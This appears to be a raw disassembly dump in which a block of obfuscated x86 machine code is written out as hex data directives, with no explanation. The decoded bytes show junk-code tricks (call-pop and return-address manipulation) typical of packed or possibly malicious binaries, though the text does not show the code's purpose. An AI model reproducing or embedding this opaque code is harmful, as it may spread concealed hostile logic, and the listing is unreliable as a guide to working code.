		dd 6C948130h, 0BB236411h, 958B31B7h, 6031335h, 35E9h, 0D18B6000h
		dd 1F09B58Bh, 8B610603h, 32AD9BDh, 6A4006h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 65A5B5C3h
		dd 5354F50Ch, 388059FCh, 0D2850F00h, 6AFFFFFFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0B6D7C355h, 0AE9h, 96BF6600h, 816648EEh, 80F38EF7h
		dd 840F5C38h, 74h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0E3C35242h, 0BB666BE5h, 1B5AADD3h, 2E5958Bh
		dd 38800603h, 41840F2Fh, 0BB000000h, 67EA7820h,	1C02853Bh
		dd 830F0607h, 0FFFFFFADh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 9C35141h, 0DABF0F98h,	850F5660h, 0
aAAaa@j		db '^``a`aaa@j',0
		db 52h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 47AEF8ECh, 0E024D817h, 7E9552Ch, 5C000000h, 0C34120E9h
		dd 0BD8399C0h, 6071C0Ah, 74840F00h, 1000000h, 32A2DBDh
		dd 0B9669006h, 9050BEC1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0EDC35747h, 0C55174C8h, 5B86E7D5h, 0EEB96697h
		dd 55958B5Bh, 23060330h, 32C5DBDh, 0A850306h, 6A06071Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 3C19C357h, 0FA8B177Ah, 0B30000C6h, 81665882h
		dd 50E954D1h, 52506052h, 585A310Fh, 5F61F38Bh, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 75D0C353h, 0FE9346Fh, 85000000h, 0BCB0F6E7h
		dd 1A59AE92h, 333945E7h, 0B5FFAB20h, 6071BF6h, 0CE951h
		dd 0D29E0000h, 0ED8BEE0Fh, 1FED9A46h, 0FF5AE77Dh, 71BFA95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 66F5B28Eh, 0B999BBAh, 98850FC0h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B52C351h, 330959Dh, 58BB6106h, 6060E1BAh
		dd 1E8D9589h, 958B0603h, 6031E49h, 0FE85C761h, 106071Bh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 19D2C351h, 4FBFFD9Dh, 7E90Dh
		dd 0B5930000h, 35F25009h, 49E9A0h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 7B5B2AC3h
		dd 0B19D89A6h, 6106032Dh, 3055B589h, 0C6810603h, 11Ch
		dd 0CCDA8166h, 0FC7CE9CBh, 0F53FFFFh, 58Ah, 0D2816600h
		dd 0E85F9880h, 4, 8000h, 331172B9h, 5E8501Ch, 8B000000h
		dd 0E47FDBEFh, 38D0Fh, 8B660000h, 448B5AD1h, 60BB0424h
		dd 8B242082h, 0B2525000h, 60310F10h, 0FD68B66h,	8Ah, 585A6100h
		dd 4244489h, 0E958E2B3h, 10h, 0E8ACA4D3h, 304E84E9h, 13681F32h
		dd 3E9D2075h, 0B966006Ah, 0B5FF7E83h, 6071C06h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5DC35343h, 0DAB92B25h
		dd 0B98D8B0Dh, 0FF060308h, 32E1995h, 8800F06h, 56000000h
		dd 0CC5BD89h, 8B5F0603h, 71BFE85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0FA9BB402h
		dd 311AE6CBh, 30F49BDh,	52509006h, 67B86660h, 0CE804h
		dd 9F3E0000h, 0FF2529D5h, 0F755AC9Fh, 615BE280h, 0BB66310Fh
		dd 585A3731h, 0AE850h, 33820000h, 1B747AC3h, 6E639A74h
		dd 905FDAB7h, 1C0E858Dh, 8D8B0607h, 603172Dh, 2870F50h
		dd 8A000000h, 240489D9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 9CC35141h, 7EE1A755h,	154FB7B9h, 0CB858D6Fh
		dd 6A06071Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 53ECC351h, 318D8D8Bh, 505B0603h
		dd 0BE9h, 0EC186900h, 0B222F7E7h, 0EE410557h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 3CC5C355h, 5A360766h, 50E97CE5h, 0C945C281h
		dd 315F5775h, 3327185h,	4595FF06h, 8B060331h, 31E9595h
		dd 6AC08B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0C559C356h, 39FD1F6Dh,	128B0Fh
		dd 6E80000h, 9D000000h,	0BA621E55h, 9BD89D4h, 5A060331h
		dd 1039BD83h, 75000603h, 1DBD8309h, 60311h, 53501374h
		dd 0D0B8C08Bh, 8D000004h, 5AECC9Dh, 5BD3FF06h, 1DBD8358h
		dd 60311h, 53501174h, 4D0B8h, 0CB9D8D00h, 0FF0605ADh, 89585BD3h
		dd 317A99Dh, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 6D95AAECh, 10E90DEFh, 7C000000h
		dd 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 2BDB339Ah, 30359BDh
		dd 1C08B06h, 304A59Dh, 6A5806h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 29EBE8C3h, 0C02D0763h
		dd 8C20C63h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 95897A22h, 603138Dh, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 75115FC3h, 0E1FB36F6h, 8928350Ah, 3238185h, 41858D06h
		dd 6A06071Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0C760C357h, 67755817h,	98589B9h
		dd 0E8060313h, 11h, 77DB67E7h, 16C32F69h, 17E59733h, 0EC267866h
		dd 29D88155h, 59264939h, 816ADC80h, 6EB4C1h, 0EEB86600h
		dd 1F72BFC9h, 0EF816BF9h, 6BF903F5h, 2EF28166h,	0F31FF11h
		dd 18Ch, 0E85BF800h, 7,	0A9B39A64h, 0E9F7A934h,	0Ch, 0C233F35Dh
		dd 3DFE1F18h, 338BE4D7h, 4CEB8158h, 0F14BDFCh, 0EB81D1BFh
		dd 571FE974h, 0C5EB81FCh, 0B06E30D0h, 18F5378h,	30AD8533h
		dd 0E9830603h, 14E901h,	0A0B80000h, 1DE3D1C8h, 3515DD7Eh
		dd 6C3DC529h, 0C413308h, 49498411h, 83F38B49h, 850F01EFh
		dd 0FFFFFF8Dh, 11E8h, 0C1B82600h, 2808CBF4h, 0CC32D78Bh
		dd 0FD56CC8Dh, 0E3B8E46Ah, 580C25FEh, 53006A60h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 1C7B9926h, 66629288h, 39DBD89h, 0C08B0603h, 2A198D31h
		dd 0BD830603h, 6031039h, 83097500h, 3111DBDh, 19740006h
		dd 0C08B5350h, 438B8h, 75858900h, 8D060317h, 5B0919Dh
		dd 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 438B8h, 75858900h
		dd 8D060317h, 5AD809Dh,	5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 9D89E008h
		dd 6030321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	99C35141h, 16850F44h, 0E8000000h, 0Ah, 9D269BC0h
		dd 0D41F8E14h, 8D0F24B5h, 0
a_lJ		db '_‹Àj',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 4CC1C350h, 0D204B7B8h, 92EE80Dh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ECDA1EC3h
		dd 0F9A27FA9h, 893862A4h, 31CF185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 562FB6D5h
		dd 59B9666Eh, 8DAE8B6h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0B74ED5C3h, 639771CAh
		dd 858995D5h, 60313E9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0FAC35545h, 5AF5F210h, 94885E62h, 26C5BD0Bh
		dd 0CE80603h, 3C000000h, 56B9AF28h, 91D4CB80h, 8170BB4Eh
		dd 148713D7h, 69E85923h, 0F5000008h, 21AD8589h,	6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0AAB95BC3h, 0E8F51E30h, 83Ch, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 16h, 0FEC35040h,	11E999CCh, 0B3000000h
		dd 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 4A9D54A9h,	35BD8B53h
		dd 59060302h, 29618589h, 96BE0603h, 0E82A0B13h,	7F0h, 89F7B70Fh
		dd 323C585h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0BD2B1928h, 0D918ACB4h, 9D8D8B8Eh
		dd 0E806031Ch, 7B8h, 7651B966h,	235D8589h, 8B660603h, 0A3D781F7h
		dd 0E81762D9h, 7A0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0E8C35747h, 7CDE908Dh, 8BCADE81h, 85896379h
		dd 6032221h, 0BE13BE66h, 76BE8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 3B0B0BBBh
		dd 219C496Eh, 6E9h, 4A45EE00h, 89E83DA9h, 321D985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0DE912h, 45B20000h, 0B6FC9B06h, 3D0352C0h, 0E878B14Ah
		dd 704h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	23C35040h, 0CBD181CAh, 520F8823h, 0FE9h, 32617500h
		dd 963B13E6h, 6CFD449h,	58BC564Dh, 0F985895Fh, 0F060322h
		dd 1387h, 6E96000h, 25000000h, 0FEFD82C7h, 0D5BD8B73h
		dd 61060304h, 6A7E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 181FE24Ch, 143D8D89h
		dd 85890603h, 60330A9h,	0E8F38B66h, 674h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 0A2C35343h, 2F8365E2h
		dd 0D06E90BDh, 13359D89h, 85890603h, 603324Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6BC35646h, 0FC08AFB1h
		dd 61FE8h, 0A99D8900h, 89060321h, 31A1585h, 0BD895206h
		dd 603010Dh, 606E85Eh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FFF87C3h, 0D80h, 0F7816000h
		dd 48AB8393h, 0E6FB87BAh, 85896148h, 60310CDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A2C35141h, 0ADE8485Eh
		dd 6A000005h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 71F5C357h, 76D58A28h, 5D32C9B9h
		dd 3185892Eh, 6A06031Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 4FF2C355h, 607B9926h
		dd 8D8BF560h, 6030039h,	51E86161h, 66000005h, 89983CBFh
		dd 3137585h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0D486A664h, 0F303C862h, 13E899h
		dd 1F4C0000h, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h, 0EBBDE01Bh
		dd 258D8B6Ch, 5F06030Bh, 7D7BF66h, 10E860h, 67210000h
		dd 0C6EBDFA5h, 862FA62Fh, 0BBD581D3h, 8D0F3671h, 0
		dd 0F99D235Ah, 61060303h, 4D7E8h, 71BD8B00h, 8906031Eh
		dd 3062585h, 9E806h, 1FD30000h,	0F906C3h, 897DC405h, 32C6D95h
		dd 0B05F06h, 0C820Fh, 8E0F0000h, 6, 840Fh, 0B60F0000h
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 44034B1Ch, 2960E131h, 3233995h, 3035B906h
		dd 6BA5AF7h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 916EC353h, 0B745AD00h
		dd 2185BD8Bh, 0C38B0603h, 0DE950h, 0F60A0000h, 6D881DDDh
		dd 3656A724h, 59530C9Bh, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0D5AAC353h
		dd 80326D16h, 0F766C2F1h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 7C0E7143h
		dd 71C75A48h, 2BFC406Ah, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 7080F5A0h, 895098BFh
		dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 415DFDC3h, 0D58D8B96h, 0FF060324h, 311A595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 449A3725h, 5E9642Eh, 35000000h, 331F6F6h
		dd 55006A5Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0E37C9C8h, 892D576Ah, 304D595h, 0A9958D06h
		dd 6A06030Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 25FAC357h, 6D3ED502h, 89FE8B66h
		dd 13E91Ah, 0BD700000h,	6E0BB07Bh, 32FE5A59h, 0BB443D2Dh
		dd 628C4AE6h, 4289FC90h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD8941BBh, 603217Dh
		dd 958DEB8Ah, 6031A41h,	9F406CBFh, 6A1A8900h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0DFADC350h, 6870F63h, 89000000h, 30385BDh, 4428906h
		dd 0CE8h, 97356300h, 0ABFF9107h, 6DE5AB9h, 0DD8D89AEh
		dd 5F06032Dh, 2BD958Dh,	6A0603h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 893983C3h, 52006A1Ah
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0ED030293h, 6F9639EEh, 78C98166h, 72B96686h,	44289FBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CDC35040h
		dd 0B809ED34h, 12C1AE4Ah, 0FBBF0F72h, 2401958Dh, 95890603h
		dd 60322DDh, 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 668358C3h, 4289F08Bh, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 2952F609h, 0D4087744h, 1C1D958Dh, 6A0603h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E9D5DFC3h
		dd 614CD86Fh, 0E857D0EBh, 7, 0DE82EED4h, 1EB187Eh, 32F359Dh
		dd 1A895E06h, 76C68166h, 442897Fh, 10E883B5h, 85000000h
		dd 1B161B2Eh, 8E0801FEh, 0B99AAACBh, 898D4E4Bh,	30B65BDh
		dd 958D5F06h, 60321E1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 1C35343h, 0FFE5BFFh, 1381h, 0CE800h
		dd 57DB0000h, 6066CF34h, 0EDB9244Fh, 5EF8517Ch,	0FBB70F60h
		dd 30AD9D8Bh, 89610603h, 0E0B4601Ah, 4428961h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 93C35141h, 0DBCC130h
		dd 11BD8B8Bh, 8D06032Eh, 3255195h, 29DFBF06h, 1A8939F7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DFC35141h
		dd 7AED373Eh, 0B70F9C7Eh, 44289C8h, 6870Fh, 0B58B0000h
		dd 6031BD5h, 1959958Dh,	0BD2B0603h, 6031E59h, 32058D89h
		dd 1A890603h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0EC35747h, 0C0128FAFh, 0B589E71Eh, 6030C91h, 66FBB70Fh
		dd 89269BB9h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 45BA7DC3h, 61641FDEh, 3BE5553h
		dd 0E944263Eh, 0D5h, 68F0Fh, 95090000h,	60331A5h, 6850Fh
		dd 85890000h, 6031AF9h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 3F090AC3h, 8003BEADh
		dd 6A79D8h, 9FD8589h, 6A0603h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F4C35242h,	6AF98Ah, 1275B589h
		dd 95FF0603h, 6031D59h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 1AC35242h, 4DCF6108h,	6AC38F05h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0DFABC351h, 71FDA791h, 890F8BA0h, 15h, 10E9h, 68780800h
		dd 0FFF415B2h, 3A827294h, 17EDC206h, 29C58ADEh,	325E995h
		dd 6AC08B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 9DA2C356h, 0C14C38h, 0BD83527Dh
		dd 6031039h, 83097500h,	3111DBDh, 19740006h, 0C08B5350h
		dd 438B8h, 91858900h, 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h
		dd 60311h, 53501774h, 438B8h, 91858900h, 8D060323h, 5AD999Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0F9581BE8h, 6A919A12h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 2350C355h, 0C8A0F07h, 0F000000h, 68Ah, 0F1850100h, 8B060310h
		dd 11858DC0h, 66060328h, 5090D98Bh, 0AE9h, 0FA36E700h
		dd 4C49BE58h, 90EE2180h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 15C35747h, 0C4B2BB66h, 9D89006Ah, 6031CCDh
		dd 9D8B006Ah, 6032E95h,	38F6858Dh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 47A3DAC3h
		dd 89066372h, 3296995h,	5C08306h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 2DC35040h, 0DB81038Dh, 44FD3F60h
		dd 8B665090h, 958990DEh, 6032E69h, 880F006Ah, 6, 1AA1BD89h
		dd 6A0603h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 19h,	69C35646h, 0A69D586Fh, 0DE92Dh,	7D9E0000h, 0B86509D0h
		dd 9C424536h, 66F70DF0h, 0AB32E381h, 0CC995FFh,	6A0603h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8BBF87C3h, 30225BDh,	6E906h,	55530000h, 7AFCBFF4h, 97478D8Dh
		dd 2EBB0606h, 0E8403C4Eh, 0Fh, 0BA9B74FAh, 0C02BA6F3h
		dd 6B6E0D71h, 5B164671h, 8166D1FFh, 8A92C9C3h, 91BD83FCh
		dd 106031Eh, 0B4850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 1F3BBAC3h, 80BE18FBh
		dd 0BD8B2AEBh, 6030F51h, 6A026Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0E8D7D1C3h
		dd 7902A16Ah, 948ACF81h, 89507AADh, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2C5908C3h
		dd 0CDC7667Ch, 68F0Fh, 0BD890000h, 603021Dh, 10BD8529h
		dd 95FF0603h, 6031CB1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 4DC35747h, 95988612h,	0B1E9FB8Bh, 0E800000Ch
		dd 0
		dd 0ED815Dh, 6A060739h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0CDF8C351h,	68F324B9h
		dd 0F248BB66h, 36BF66FCh, 0FE91Ch, 71080000h, 1D935C5h
		dd 4B28C851h, 0F7211BEFh, 89858DACh, 80060688h,	50904EEBh
		dd 0B1D3BF66h, 25BB6690h, 35FF64ABh, 0
		dd 0FA8B6657h, 0B589605Bh, 6031BB5h, 14BB66h, 25896461h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C3C35545h
		dd 0E781FE8Bh, 65CE1D04h, 2A1585FFh, 6A0603h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CBAEF4C3h
		dd 8D89968Ah, 6031D11h,	0DA8AFF6Ah, 0B5FFFE8Bh,	6031CF1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DDC35242h
		dd 353130A3h, 201595FFh, 48E90603h, 80000001h, 0FE915F3h
		dd 3A000000h, 0F2C55C7Eh, 0B82F18h, 224B3D8Ah, 0B0D3BEh
		dd 21C38166h, 8B70E631h, 31C819Dh, 0AE806h, 0B88F0000h
		dd 0FE5F70E0h, 0FA92707Dh, 2295BD8Bh, 0E45F0603h, 4D9D8B71h
		dd 3C060310h, 0FC830F61h, 8B000000h, 31355BDh, 0C8B60F06h
		dd 4D5B27BFh, 6BA14h, 8D290000h, 6030955h, 6060C18Bh, 8D0Fh
		dd 61600000h, 0EFC28161h, 61300664h, 0F904E8C1h, 0FE2F766h
		dd 1A87h, 11E800h, 5CEA0000h, 4AC343F1h, 86763347h, 93A34624h
		dd 0F9E5414h, 2B5FFBBFh, 0ED8D89C8h, 8B06032Dh,	0A19D8BD1h
		dd 0E906031Ah, 6, 27DB509h, 858B0603h, 6030FA9h, 0C083F88Bh
		dd 29B58907h, 8306030Fh, 11E800C0h, 7D000000h, 0DC4607B6h
		dd 22DB54BFh, 8D6829AEh, 9596EF10h, 0B859D8Bh, 3B5F0603h
		dd 0D830FD0h, 0B3000000h, 4DE9B5h, 0BD890000h, 6032A45h
		dd 31598D8Bh, 14E90603h, 59000000h, 6AE916C9h, 17482FA8h
		dd 19BEA893h, 8C968471h, 8308678Eh, 840F01E1h, 1Fh, 0A583F88Ah
		dd 6033159h, 986EBFFEh,	95897DCFh, 6030FA9h, 1F41BD8Bh
		dd 0E90603h, 8D000000h,	6BEA2B5h, 0E2816006h, 77BB5A01h
		dd 1FD5BD8Bh, 0F610603h, 6AFEB7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 13C35747h, 5DDB8526h, 3953C55Fh
		dd 0B995FF41h, 6A06031Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 8529C356h, 148E954h
		dd 2485BD8Bh, 7FB90603h, 1000007h, 320FD95h, 0FCE18306h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C35747h
		dd 9974702Fh, 0F4B48549h, 9E9FC3Ch, 0F9000000h,	84AE97D6h
		dd 875BD615h, 0B8h, 8B666000h, 0AD8D89C1h, 61060329h, 6AD22Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 16F994C3h, 0EECFACD9h, 840F054Bh, 6,	1AA19D8Bh, 0B70F0603h
		dd 0C233ADDBh, 0D003E8D1h, 7504E983h, 55BD0BF4h, 66060313h
		dd 96A7D381h, 880Dh, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0EFFC4265h, 0FE92E42h
		dd 6C000000h, 8E86F04Fh, 0C802F639h, 4B7C7F23h,	8D8906A3h
		dd 60324ADh, 31D1958Bh,	8BFC0603h, 301E18Dh, 9656BF06h
		dd 8B501F61h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 3810Fh, 0BF0F0000h, 0E59509FBh, 0F060310h, 281h, 83F88B00h
		dd 31D65BDh, 840F0006h,	85h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0F3C35747h,	0DA9E1FF8h, 0BB66DF6Ch
		dd 860FCEFEh, 14h, 0F7816660h, 8E951A6h, 4B000000h, 26CAFA38h
		dd 61518E6Eh, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 47EBAED4h, 2685D34Ah
		dd 1C8D8D57h, 8906034Dh, 3066DB5h, 0E9E1FF06h, 9, 0AAA21600h
		dd 5FB7498Bh, 0BDBD837Fh, 60321h, 3E1840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 1389A4C3h, 9D895884h, 60325D9h, 21BDBD83h, 0F010603h
		dd 3C984h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 1DE6FBFh,	35F01EBBh, 6DBD233Bh, 83060330h
		dd 321BDBDh, 860F0306h,	35Ch, 25C59501h, 6A600603h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6E3AC350h, 0A3DFED5Ah, 6666FD3Ah, 0FA8BD98Ch, 8904E180h
		dd 3024D95h, 0FC90A06h,	14D84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 8D936AA2h
		dd 57332619h, 5FDBB70Fh, 13C1858Bh, 6A0603h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0DC6683C3h
		dd 0DB8198DFh, 22F7B51Ch, 1C798533h, 890F0603h,	6, 9519D8Bh
		dd 0BE80603h, 26000000h, 8E3E682h, 4A396AD0h, 5FFC8D95h
		dd 505F5390h, 28F0Fh, 1BB70000h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0F99DC48h
		dd 18Eh, 6AF500h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	91C35646h, 878261E5h, 899D8B00h, 6806030Ch, 0BD189CFh
		dd 3481DE8Bh, 0CE8A3024h, 45BD230Bh, 0FF060301h, 3140595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 101B2003h, 0AFD17C6Dh, 89D98B66h, 6A73485h
		dd 3C44BF06h, 94E92B76h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FD4AC351h
		dd 0AC862EF6h, 0A09E05D2h, 1A498589h, 858B0603h, 606A72Ch
		dd 1D199D8Bh, 0C70603h,	18h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0C1C35040h,	0F677739h, 0B58BFFB7h
		dd 606A730h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0C9C35040h, 4F41F427h, 8D29C87Fh, 6032C31h, 128D858Bh
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 9CA592C3h, 2349CFBDh, 0ED9D014Eh,	8906031Ch
		dd 311B595h, 6A068906h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0C9B5C351h,	0AA0E771Ah
		dd 13C1858Bh, 0AE90603h, 37000000h, 430AFF2Ah, 1DD76C12h
		dd 446898Ah, 68E0Fh, 9D2B0000h,	60303DDh, 0D88B6696h, 1547BF50h
		dd 8096339Eh, 0B5FF9FCBh, 606A72Ch, 26099D89h, 84680603h
		dd 81FB05DDh, 267B2404h, 6A0519h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B3BA03C3h, 34858D39h
		dd 0F0606A7h, 683h, 4DBD3300h, 56060310h, 489505Fh, 71BD8924h
		dd 0FF06032Ah, 3140595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0BA4ABC48h, 61DE8B6Ch
